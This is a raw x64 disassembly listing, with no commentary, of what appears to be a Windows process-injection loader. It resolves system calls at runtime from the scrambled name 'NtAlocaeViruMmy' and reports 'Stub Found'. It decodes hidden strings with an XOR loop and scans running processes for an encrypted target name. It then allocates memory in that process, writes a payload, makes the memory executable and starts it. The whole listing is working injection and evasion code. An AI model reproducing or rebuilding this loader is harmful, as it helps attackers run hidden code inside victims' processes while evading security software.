mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2750]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2770]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2790]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x27b0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x27d0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x27f0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2810]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2830]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x285f]
mov rcx, rax
call fcn.140071c60
lea rdx, [rbp + 0x270]
lea rax, [rbp + 0x2860]
mov rcx, rax
call fcn.1400a9100
mov r9, qword [rbp + 0x2e90]
mov r8, qword [rbp + 0x2eb0]
mov rdx, qword [rbp + 0x2e88]
lea rax, [rbp + 0x2860]
mov rcx, qword [rbp + 0x2ed8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e84], eax
lea rax, [rbp + 0x2860]
mov rcx, rax
call fcn.1400a9cb0
cmp dword [rbp + 0x2e84], 0
je 0x140007c40
lea rbx, [0x1400db40b]
jmp 0x140007c47
lea rbx, [0x1400db410]
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.14002f430
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x2acf]
mov rcx, rax
call fcn.140071c30
lea rdx, [rbp + 0x2acf]
lea rax, [rbp + 0x2aa0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9590
lea rax, [rbp + 0x2a80]
lea rdx, [rbp + 0x2aa0]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2a60]
lea rdx, [rbp + 0x2a80]
lea r8, [0x1400db405]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2a40]
lea rdx, [rbp + 0x2a60]
lea r8, [0x1400db3f9]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2a20]
lea rdx, [rbp + 0x2a40]
lea r8, [0x1400db451]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2a00]
lea rdx, [rbp + 0x2a20]
lea r8, [0x1400db3fd]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x29e0]
lea rdx, [rbp + 0x2a00]
lea r8, [0x1400db3ff]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x29c0]
lea rdx, [rbp + 0x29e0]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x29a0]
lea rdx, [rbp + 0x29c0]
lea r8, [0x1400db457]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2980]
lea rdx, [rbp + 0x29a0]
lea r8, [0x1400db445]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2960]
lea rdx, [rbp + 0x2980]
lea r8, [0x1400db44f]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2940]
lea rdx, [rbp + 0x2960]
lea r8, [0x1400db43f]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2920]
lea rdx, [rbp + 0x2940]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2900]
lea rdx, [rbp + 0x2920]
lea r8, [0x1400db3f7]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x28e0]
lea rdx, [rbp + 0x2900]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x28c0]
lea rdx, [rbp + 0x28e0]
lea r8, [0x1400db3ff]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x28a0]
lea rdx, [rbp + 0x28c0]
lea r8, [0x1400db3f5]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2880]
lea rdx, [rbp + 0x28a0]
lea r8, [0x1400db441]
mov rcx, rax
call fcn.1400ba110
lea rdx, [rbp + 0x2880]
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.1400a9cf0
lea rax, [rbp + 0x2880]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x28a0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x28c0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x28e0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2900]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2920]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2940]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2960]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2980]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x29a0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x29c0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x29e0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2a00]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2a20]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2a40]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2a60]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2a80]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2aa0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2acf]
mov rcx, rax
call fcn.140071c60
lea rdx, [rbp + 0x270]
lea rax, [rbp + 0x2ad0]
mov rcx, rax
call fcn.1400a9100
mov r9, qword [rbp + 0x2e90]
mov r8, qword [rbp + 0x2eb0]
mov rdx, qword [rbp + 0x2e88]
lea rax, [rbp + 0x2ad0]
mov rcx, qword [rbp + 0x2ed0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e84], eax
lea rax, [rbp + 0x2ad0]
mov rcx, rax
call fcn.1400a9cb0
cmp dword [rbp + 0x2e84], 0
je 0x140008033
lea rbx, [0x1400db40b]
jmp 0x14000803a
lea rbx, [0x1400db410]
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.14002f430
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x2d5f]
mov rcx, rax
call fcn.140071c30
lea rdx, [rbp + 0x2d5f]
lea rax, [rbp + 0x2d30]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9590
lea rax, [rbp + 0x2d10]
lea rdx, [rbp + 0x2d30]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2cf0]
lea rdx, [rbp + 0x2d10]
lea r8, [0x1400db43d]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2cd0]
lea rdx, [rbp + 0x2cf0]
lea r8, [0x1400db401]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2cb0]
lea rdx, [rbp + 0x2cd0]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2c90]
lea rdx, [rbp + 0x2cb0]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2c70]
lea rdx, [rbp + 0x2c90]
lea r8, [0x1400db3fd]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2c50]
lea rdx, [rbp + 0x2c70]
lea r8, [0x1400db3ff]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2c30]
lea rdx, [rbp + 0x2c50]
lea r8, [0x1400db401]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2c10]
lea rdx, [rbp + 0x2c30]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2bf0]
lea rdx, [rbp + 0x2c10]
lea r8, [0x1400db403]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2bd0]
lea rdx, [rbp + 0x2bf0]
lea r8, [0x1400db3f9]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2bb0]
lea rdx, [rbp + 0x2bd0]
lea r8, [0x1400db3f3]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2b90]
lea rdx, [rbp + 0x2bb0]
lea r8, [0x1400db405]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2b70]
lea rdx, [rbp + 0x2b90]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2b50]
lea rdx, [rbp + 0x2b70]
lea r8, [0x1400db407]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2b30]
lea rdx, [rbp + 0x2b50]
lea r8, [0x1400db3f5]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2b10]
lea rdx, [rbp + 0x2b30]
lea r8, [0x1400db401]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2af0]
lea rdx, [rbp + 0x2b10]
lea r8, [0x1400db409]
mov rcx, rax
call fcn.1400ba110
lea rdx, [rbp + 0x2af0]
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.1400a9cf0
lea rax, [rbp + 0x2af0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2b10]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2b30]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2b50]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2b70]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2b90]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2bb0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2bd0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2bf0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2c10]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2c30]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2c50]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2c70]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2c90]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2cb0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2cd0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2cf0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2d10]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2d30]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2d5f]
mov rcx, rax
call fcn.140071c60
lea rdx, [rbp + 0x270]
lea rax, [rbp + 0x2d60]
mov rcx, rax
call fcn.1400a9100
mov r9, qword [rbp + 0x2e90]
mov r8, qword [rbp + 0x2eb0]
mov rdx, qword [rbp + 0x2e88]
lea rax, [rbp + 0x2d60]
mov rcx, qword [rbp + 0x2ec8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e84], eax
lea rax, [rbp + 0x2d60]
mov rcx, rax
call fcn.1400a9cb0
cmp dword [rbp + 0x2e84], 0
je 0x140008452
lea rbx, [0x1400db40b]
jmp 0x140008459
lea rbx, [0x1400db410]
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.14002f430
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
call fcn.1400018ed
lea rax, section..data
mov rcx, rax
call fcn.140002e82
mov dword [rbp + 0x140], 0x130
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x2e78], rax
mov dword [rbp + 0x2f68], 0
lea rax, [rbp + 0x133]
lea rdx, [rbp + 0x2d81]
mov rcx, rax
call fcn.140002f98
lea rdx, [rbp + 0x140]
mov rax, qword [rbp + 0x2e78]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
cmp eax, 1
sete al
test al, al
je 0x14000873f
jmp 0x14000871b
lea rax, [rbp + 0x133]
mov qword [rbp + 0x2e68], rax
mov rax, qword [rbp + 0x2e68]
mov qword [rbp + 0x2e60], rax
mov rax, qword [rbp + 0x2e60]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x1400085bf
mov rax, qword [rbp + 0x2e68]
mov rdx, qword [rbp + 0x2e68]
mov qword [rbp + 0x2e58], rdx
mov qword [rbp + 0x2e50], rax
mov dword [rbp + 0x2e4c], 0
jmp 0x1400085b5
mov eax, dword [rbp + 0x2e4c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2e50]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2e4c]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2e58]
mov eax, dword [rbp + 0x2e4c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2e4c], 1
cmp dword [rbp + 0x2e4c], 0xc
jle 0x140008556
nop
lea rax, [rbp + 0x133]
lea rdx, [rbp + 0x140]
lea rcx, [rdx + 0x2c]
mov rdx, rax
call sub.msvcrt.dll__stricmp
test eax, eax
sete al
test al, al
je 0x14000871b
mov eax, dword [rbp + 0x148]
mov dword [rbp + 0x2f68], eax
lea rax, [rbp + 0x21]
lea rdx, [rbp + 0x2d82]
mov rcx, rax
call fcn.140003012
lea rax, [rbp + 0x21]
mov qword [rbp + 0x2e40], rax
mov rax, qword [rbp + 0x2e40]
movzx eax, byte [rax + 0xe]
test al, al
setne al
test al, al
je 0x1400086b3
lea rax, [rbp + 0x21]
lea rdx, [rbp + 0x21]
mov qword [rbp + 0x2e38], rdx
mov qword [rbp + 0x2e30], rax
mov dword [rbp + 0x2e2c], 0
jmp 0x1400086a9
mov eax, dword [rbp + 0x2e2c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2e30]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2e2c]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2e38]
mov eax, dword [rbp + 0x2e2c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2e2c], 1
cmp dword [rbp + 0x2e2c], 0xe
jle 0x14000864a
nop
lea rax, [rbp + 0x21]
mov rdx, qword [rbp + 0x133]
mov qword [rbp - 0x40], rdx
mov rdx, qword [rbp + 0x138]
mov qword [rbp - 0x3b], rdx
mov ecx, dword [rbp + 0x2f68]
lea rdx, [rbp - 0x40]
mov r9d, ecx
mov r8, rdx
mov rdx, rax
lea rax, [0x1400db459]
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x2e28], 0
jmp 0x14000870f
mov eax, dword [rbp + 0x2e28]
cdqe
mov byte [rbp + rax + 0x21], 0
add dword [rbp + 0x2e28], 1
cmp dword [rbp + 0x2e28], 0xe
jle 0x1400086fb
nop
jmp 0x14000873f
lea rdx, [rbp + 0x140]
mov rax, qword [rbp + 0x2e78]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
sete al
test al, al
jne 0x1400084fa
mov rax, qword [rbp + 0x2e78]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
cmp dword [rbp + 0x2f68], 0
jne 0x14000888c
lea rax, [rbp - 0x30]
lea rdx, [rbp + 0x2d83]
mov rcx, rax
call fcn.14000309c
lea rax, [rbp - 0x30]
mov qword [rbp + 0x2e20], rax
mov rax, qword [rbp + 0x2e20]
movzx eax, byte [rax + 0x43]
test al, al
setne al
test al, al
je 0x140008820
lea rax, [rbp - 0x30]
lea rdx, [rbp - 0x30]
mov qword [rbp + 0x2e18], rdx
mov qword [rbp + 0x2e10], rax
mov dword [rbp + 0x2e0c], 0
jmp 0x140008816
mov eax, dword [rbp + 0x2e0c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2e10]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2e0c]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2e18]
mov eax, dword [rbp + 0x2e0c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2e0c], 1
cmp dword [rbp + 0x2e0c], 0x43
jle 0x1400087b7
nop
lea rax, [rbp - 0x30]
mov rdx, qword [rbp + 0x133]
mov qword [rbp - 0x40], rdx
mov rdx, qword [rbp + 0x138]
mov qword [rbp - 0x3b], rdx
lea rdx, [rbp - 0x40]
mov r8, rdx
mov rdx, rax
lea rax, str._s_s
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x2e08], 0
jmp 0x140008873
mov eax, dword [rbp + 0x2e08]
cdqe
mov byte [rbp + rax - 0x30], 0
add dword [rbp + 0x2e08], 1
cmp dword [rbp + 0x2e08], 0x43
jle 0x14000885f
nop
mov esi, 1
mov ebx, 0
jmp 0x140008e83
mov qword [rbp + 0x128], 0
mov qword [rbp + 0x118], 0
mov eax, dword [rbp + 0x148]
mov ecx, eax
call fcn.1400014a4
mov qword [rbp + 0x110], rax
mov dword [rbp + 0xe0], 0x30
mov qword [rbp + 0xe8], 0
mov dword [rbp + 0xf8], 0
mov qword [rbp + 0xf0], 0
mov qword [rbp + 0x100], 0
mov qword [rbp + 0x108], 0
mov r10, qword [0x140107080]
lea rcx, [rbp + 0x110]
lea rdx, [rbp + 0xe0]
lea rax, [rbp + 0x128]
mov r9, rcx
mov r8, rdx
mov edx, 0x478
mov rcx, rax
call r10
mov qword [rbp + 0xd8], 0
mov dword [rbp + 0xd4], 0
mov rax, qword [0x1400d7600]
mov qword [rbp + 0xc8], rax
mov r10, qword [0x140107038]
mov rax, qword [rbp + 0x128]
lea rcx, [rbp + 0xc8]
lea rdx, [rbp + 0xd8]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
mov r9, rcx
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x2e74], eax
lea rax, [rbp + 0xa0]
lea rdx, [rbp + 0x2d84]
mov rcx, rax
call fcn.1400032ce
lea rax, [rbp + 0xa0]
mov qword [rbp + 0x2e00], rax
mov rax, qword [rbp + 0x2e00]
movzx eax, byte [rax + 0x27]
test al, al
setne al
test al, al
je 0x140008a54
lea rax, [rbp + 0xa0]
lea rdx, [rbp + 0xa0]
mov qword [rbp + 0x2df8], rdx
mov qword [rbp + 0x2df0], rax
mov dword [rbp + 0x2dec], 0
jmp 0x140008a4a
mov eax, dword [rbp + 0x2dec]
movsxd rdx, eax
mov rax, qword [rbp + 0x2df0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2dec]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2df8]
mov eax, dword [rbp + 0x2dec]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2dec], 1
cmp dword [rbp + 0x2dec], 0x27
jle 0x1400089eb
nop
lea rax, [rbp + 0xa0]
mov edx, dword [rbp + 0x2e74]
mov r8d, edx
mov rdx, rax
lea rax, [0x1400db0e1]
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x2de8], 0
jmp 0x140008a99
mov eax, dword [rbp + 0x2de8]
cdqe
mov byte [rbp + rax + 0xa0], 0
add dword [rbp + 0x2de8], 1
cmp dword [rbp + 0x2de8], 0x27
jle 0x140008a82
nop
lea rax, [rbp + 0x92]
lea rdx, [rbp + 0x2d85]
mov rcx, rax
call fcn.140003420
mov r8, qword [rbp + 0xd8]
lea rax, [rbp + 0x92]
mov qword [rbp + 0x2de0], rax
mov rax, qword [rbp + 0x2de0]
movzx eax, byte [rax + 0xd]
test al, al
setne al
test al, al
je 0x140008b77
lea rax, [rbp + 0x92]
lea rdx, [rbp + 0x92]
mov qword [rbp + 0x2dd8], rdx
mov qword [rbp + 0x2dd0], rax
mov dword [rbp + 0x2dcc], 0
jmp 0x140008b6d
mov eax, dword [rbp + 0x2dcc]
movsxd rdx, eax
mov rax, qword [rbp + 0x2dd0]
add rax, rdx
movzx r9d, byte [rax]
mov eax, dword [rbp + 0x2dcc]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r9d
xor ecx, eax
mov rdx, qword [rbp + 0x2dd8]
mov eax, dword [rbp + 0x2dcc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2dcc], 1
cmp dword [rbp + 0x2dcc], 0xd
jle 0x140008b0e
nop
lea rax, [rbp + 0x92]
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x2dc8], 0
jmp 0x140008bb3
mov eax, dword [rbp + 0x2dc8]
cdqe
mov byte [rbp + rax + 0x92], 0
add dword [rbp + 0x2dc8], 1
cmp dword [rbp + 0x2dc8], 0xd
jle 0x140008b9c
nop
mov r10, qword [0x140107040]
mov r9, qword [rbp + 0xc8]
mov r8, qword [0x140107030]
mov rdx, qword [rbp + 0xd8]
mov rax, qword [rbp + 0x128]
lea rcx, [rbp + 0x88]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call r10
mov dword [rbp + 0x2e74], eax
lea rax, [rbp + 0x60]
lea rdx, [rbp + 0x2d86]
mov rcx, rax
call fcn.1400034a2
lea rax, [rbp + 0x60]
mov qword [rbp + 0x2dc0], rax
mov rax, qword [rbp + 0x2dc0]
movzx eax, byte [rax + 0x27]
test al, al
setne al
test al, al
je 0x140008cb9
lea rax, [rbp + 0x60]
lea rdx, [rbp + 0x60]
mov qword [rbp + 0x2db8], rdx
mov qword [rbp + 0x2db0], rax
mov dword [rbp + 0x2dac], 0
jmp 0x140008caf
mov eax, dword [rbp + 0x2dac]
movsxd rdx, eax
mov rax, qword [rbp + 0x2db0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2dac]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2db8]
mov eax, dword [rbp + 0x2dac]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2dac], 1
cmp dword [rbp + 0x2dac], 0x27
jle 0x140008c50
nop
lea rax, [rbp + 0x60]
mov edx, dword [rbp + 0x2e74]
mov r8d, edx
mov rdx, rax
lea rax, [0x1400db0e1]
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x2da8], 0
jmp 0x140008cf8
mov eax, dword [rbp + 0x2da8]
cdqe
mov byte [rbp + rax + 0x60], 0
add dword [rbp + 0x2da8], 1
cmp dword [rbp + 0x2da8], 0x27
jle 0x140008ce4
nop
mov r10, qword [0x140107048]
mov rax, qword [rbp + 0x128]
lea r8, [rbp + 0xc8]
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0xd4]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
mov rcx, rax
call r10
mov dword [rbp + 0x2e74], eax
lea rax, [rbp + 0x30]
lea rdx, [rbp + 0x2d87]
mov rcx, rax
call fcn.1400035f4
lea rax, [rbp + 0x30]
mov qword [rbp + 0x2da0], rax
mov rax, qword [rbp + 0x2da0]
movzx eax, byte [rax + 0x27]
test al, al
setne al
test al, al
je 0x140008dfd
lea rax, [rbp + 0x30]
lea rdx, [rbp + 0x30]
mov qword [rbp + 0x2d98], rdx
mov qword [rbp + 0x2d90], rax
mov dword [rbp + 0x2d8c], 0
jmp 0x140008df3
mov eax, dword [rbp + 0x2d8c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2d90]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2d8c]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2d98]
mov eax, dword [rbp + 0x2d8c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2d8c], 1
cmp dword [rbp + 0x2d8c], 0x27
jle 0x140008d94
nop
lea rax, [rbp + 0x30]
mov edx, dword [rbp + 0x2e74]
mov r8d, edx
mov rdx, rax
lea rax, [0x1400db0e1]
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x2d88], 0
jmp 0x140008e3c
mov eax, dword [rbp + 0x2d88]
cdqe
mov byte [rbp + rax + 0x30], 0
add dword [rbp + 0x2d88], 1
cmp dword [rbp + 0x2d88], 0x27
jle 0x140008e28
nop
mov rax, qword [rbp + 0x128]
mov rcx, rax
call fcn.140002bc1
mov rdx, qword [rbp + 0xd8]
mov rax, qword [rbp + 0x128]
mov rcx, rax
call fcn.1400027f1
mov rdx, qword [0x140107078]
mov rax, qword [rbp + 0x128]
mov rcx, rax
call rdx
mov ebx, 1
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.1400a9cb0
cmp ebx, 1
jne 0x140008e9c
mov esi, 0
mov eax, esi
jmp 0x14000a7bd
add rsp, 0x3000
pop rbx
pop rsi
pop rbp
ret